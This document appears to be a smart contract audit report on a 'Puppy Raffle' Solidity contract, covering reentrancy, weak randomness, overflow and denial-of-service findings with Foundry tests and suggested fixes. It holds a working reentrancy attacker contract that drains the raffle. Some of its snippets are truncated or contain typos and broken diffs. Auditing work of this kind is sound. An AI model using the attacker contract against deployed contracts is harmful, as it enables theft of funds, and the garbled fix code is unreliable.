Protocol Summary

Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- 1. Call the enterRaffle function with the following parameters:
 - 1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- 2. Duplicate addresses are not allowed
- 3. Users are allowed to get a refund of their ticket & value if they call the refund function
- 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- 5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Kweks team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

| | | Impact | | |
|------------|--------|--------|--------|-----|
| | | High | Medium | Low |
| | High | Н | Н/М | М |
| Likelihood | Medium | Н/М | М | M/L |
| | Low | М | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

I thoroughly enjoyed auditing this codebase.

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance

Description: The PuppyRaffle::refund function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after mkaing that external call do we update the PuppyRaffle::players array.

```
function refund(uint256 playerIndex) public {
   address playerAddress = players[playerIndex];
   require(
      playerAddress == msg.sender,
      "PuppyRaffle: Only the player can refund"
   );
   require(
```

A player who has entered the raffle could have a fallback/recieve function that calls the PuppyRaffle::refund function again and claim another refund. They could continue the cycle till the contract balance is drained

Impact: All fees paid by raffle entrants could be stolen by malicious participants.

Proof of Concept:

- 1. User enters the raffle
- 2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::enterRaffle
- 3. Attacker enters thr raffle
- 4. Attacker calls PuppyRaffle::refund from their attack contract, draining the contract balance.

Proof of Code

► Code

Place the following into PuppyRaffleTest.t.sol

```
function test ReentrancyRefund() public {
   address[] memory players = new address[](4);
   players[0] = player0ne;
   players[1] = playerTwo;
   players[2] = playerThree;
    players[3] = playerFour;
   puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
   ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        puppyRaffle
   );
   address attackUser = makeAddr("attackUser");
   vm.deal(attackUser, 1 ether);
   uint256 startingAttackContractBalance = address(attackerContract)
        .balance;
   uint256 startingContractBalance = address(puppyRaffle).balance;
   //attack
   vm.prank(attackUser);
   attackerContract.attack{value: entranceFee}();
   console.log(
```

```
"starting attacker contract balance:",
    startingAttackContractBalance
);
    console.log("starting contract balance: ",
    startingContractBalance);

    console.log(
        "ending attacker contract balance: ",
        address(attackerContract).balance
);
    console.log("ending contract balance: ",
    address(puppyRaffle).balance);
}
```

And this contract as well.

```
contract ReentrancyAttacker {
   PuppyRaffle puppyRaffle;
   uint256 entranceFee:
   uint256 attackerIndex;
   constructor(PuppyRaffle puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
   }
    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
   }
    function stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
   }
   fallback() external payable {
        stealMoney();
   }
    receive() external payable {
       _stealMoney();
}
```

Recommended Mitigation: To prevent this, we should have the PuppyRaffle::refund function update the players array before making the external call. Additionally, we should move the event emisson up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
         players[playerIndex] = address(0);
         emit RaffleRefunded(playerAddress);
         payable(msg.sender).sendValue(entranceFee);
         players[playerIndex] = address(0);
         emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness PuppyRaffle::selectWinner allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hasing msg.sender, block.timestamp, and block.difficulty together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note This additionally means users can front-run this function and call refund if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy, making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

- Validators can know ahead of time the block.timstamp and block.difficulty and use that to predict when/how to participate. See the [solidity blog on prevrandao] (https://soliditydeveloper.com/prevrandao).block.difficulty was recently replaced with prevrandao.
- 2. Users can mine/manipulate their msg. sender value to result in the their address being used to generate the winner!
- 3. Users can revert their selectWinner transcation if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as chainlink VRF

[H-3] Integer overflow of PupplyRaffle::totalFees loses fees

Description: In solidity versions prior to 0.8.0 integers where subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1;
// myVr will be 0
```

Impact: In PuppyRaffle::selectWinner, totalFees are accumlated for th feeAddrress to collect lateer in PuppyRaffle::withdrawFees. However, if the totalFees variables overflows, the feeAddress may notcollect the correct amont of fees, leaving fees permanently stuck

Proof of Concept:

- 1. We conclude a raffle of 4 players
- 2. We then have 89 players enter a new raffle
- 3. totalFees will be:

4. You'll not be able to withdraw due to the line in PuppyRaffle::withdrawFees:

```
require(
  address(this).balance == uint256(totalFees),
  "PuppyRaffle: There are currently players active!"
);
```

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended designof the protocol. At some point their would be too much balance in the contract that the above would be impossible to hit.

► Code

```
function testTotalFeesOverflow() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();

uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
```

```
for (uint256 i = 0; i < playersNum; i++) {
    players[i] = address(i);
}
puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);

puppyRaffle.selectWinner();

uint256 endingTotalFees = puppyRaffle.totalFees();
console.log("ending total fees", endingTotalFees);
assert(endingTotalFees < startingTotalFees);

vm.prank(puppyRaffle.feeAddress());
vm.expectRevert("PuppyRaffle: There are currently players
active!");
puppyRaffle.withdrawFees();
}</pre>
```

Recommended Mitigation: There are a few possible mitigations.

- 1. Use a newer version of solidity, and a uint256 instead of uint64 for PuppyRaffle::totalFees
- 2. You could also use the SafeMath library of OpenZepplin for version 0.7.6 of solidity, however you would still have a hard time with the uint64 type if too many fees are collected.
- 3. Remove the balance check from PuppyRaffle::withdrawFees

```
- require(
          address(this).balance == uint256(totalFees),
          "PuppyRaffle: There are currently players active!"
);
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in PuppyRaffle::enterRaffle is a potential Denial of Service (DoS) attack, incrementing gas costs for future entrants.

Description: The PuppyRaffle::enterRaffle function loops through the players array to check for duplicates. However, the longer the PuppyRaffle::players array is, the more checks a new player will have to make. Gas costs for players who get in earlier will be significantly lower than those that come in later. Every additional address in the players array, is an additional check the loop will have to make.

```
@> for (uint256 i = 0; i < players.length - 1; i++) {
   for (uint256 j = i + 1; j < players.length; j++) {
      require(players[i] != players[j], "PuppyRaffle: Duplicate")</pre>
```

```
player");
             }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle thereby discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the PuppyRaffle::entrants array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players, the gas costs will be as such:

- 1st 100 players: ~6252128
- 2nd 100 players: ~18068218

This is 3x more expensive for the second 100 players.

▶ PoC

```
function test denialOfService() public {
       // address[] memory players = new address[](1);
       // players[0] = player0ne;
        // puppyRaffle.enterRaffle{value: entranceFee}(players);
        // assertEq(puppyRaffle.players(0), player0ne);
        vm.txGasPrice(1);
        // Enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // How much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 participants",
gasUsedFirst);
        // Second 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
       // How much gas it costs
```

Recommended Mitigation: There are a few recommendations.

- 1. Consider allowing duplicates. Users can make new wallets addresses, so a duplicate doesn't prevent the same user from entering multiple times, only the same wallet address.
- 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
mapping(address=> uint256) public addressToRaffleId;
        uint256 public raffleId = 0;
        function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; <math>i++) {
            players.push(newPlayers[i]);
             addressToRaffleId[newPlayers[i]] = raffleId;
        }
         // Check for duplicates
        // Check for duplicates only from the new players
         for (uint256 i = 0; i < players.length <math>i++) {
+
                 require(addressToRaffleId[newPlayers[i]] != raffeId,
"PuppyRaffle: Duplicate player");
             }
+
         }
           for (unit256 i = 0; i < players.length; <math>i++){
                for (uint256 j = i + 1; j < players.length; <math>j++){
                     requrie(players[i] != players[j],
"PuppyRaffle:Duplicate player");
            emit RaffleEnter(newPlayers);
    }
```

[M-2] Unsafe cast of PuppyRaffle:: fee loses fees

Description: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type (uint64). max, the value will be truncated.

```
function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
    require(players.length > 0, "PuppyRaffle: No players in raffle");

    uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
    address winner = players[winnerIndex];
    uint256 fee = totalFees / 10;
    uint256 winnings = address(this).balance - fee;

    totalFees = totalFees + uint64(fee);
    players = new address[](0);
    emit RaffleWinner(winner, winnings);
}
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

- 1. A raffle proceeds with a little more than 18 ETH worth of fees collected
- 2. The line that casts the fee as a uint64 hits
- 3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
uint64 public totalFees = 0;
    uint256 public totalFees = 0;
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
        totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a recieve or a fallback function will block the start of a new contest.

Description: The PuppyRaffle::selectWinner function is responsible for ressetting the lottery. However, if the winner is a smart contract that rejects payment, the lottery would not be able to restart.

Users could easily call the winner function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The PuppyRaffle::selectWinner function could revery many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

- 1. 10 smart contract wallets enter the lottery without a fallback or receive function.
- 2. The lottery ends
- The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)

2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new claimPrize function, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(
    address player
) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}</pre>
```

Impact: A player at index may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

- 1. User enters the raffle, they are the first entrant
- 2. PuppyRaffle::getActivePlayerIndex returns 0
- 3. User think they haven't entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competiton, but a better solution might be to return an int256 where the function returns -1 if the player is not active

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive that reading from a constant or immutable variable.

Instances:

- PuppyRaffle::raffleDuration should be immutable
- PuppyRaffle::commonImageUri should be constant
- PuppyRaffle::rareImageUri should be constant
- PuppyRaffle::legendaryImageUri should be constant

[G-2] Storage variables in a loop should be cached

Everytime you call players. Length you read from storage, as opposed to memory which is more gas efficient

Informational/Non-Crits

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity $^{0.8.0}$; use pragma solidity $^{0.8.0}$;

[I-2] Using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

0.8.18.

The recommendations take into account:

- Risks related to recent releases.
- Risks of complex code generation changes.
- Risks of new lanuguage features.
- Risks of known bugs.
- Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for address (0) when assigning values to address state variables

Check for address (0) when assigning values to address state variables.

▶ 2 Found Instances

• Found in src/PuppyRaffle.sol Line: 78

```
feeAddress = _feeAddress;
```

• Found in src/PuppyRaffle.sol Line: 246

```
feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a code base and it's much more readable if the numbers are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] PuppyRaffle:: isActivePlayer is never used and should be removed
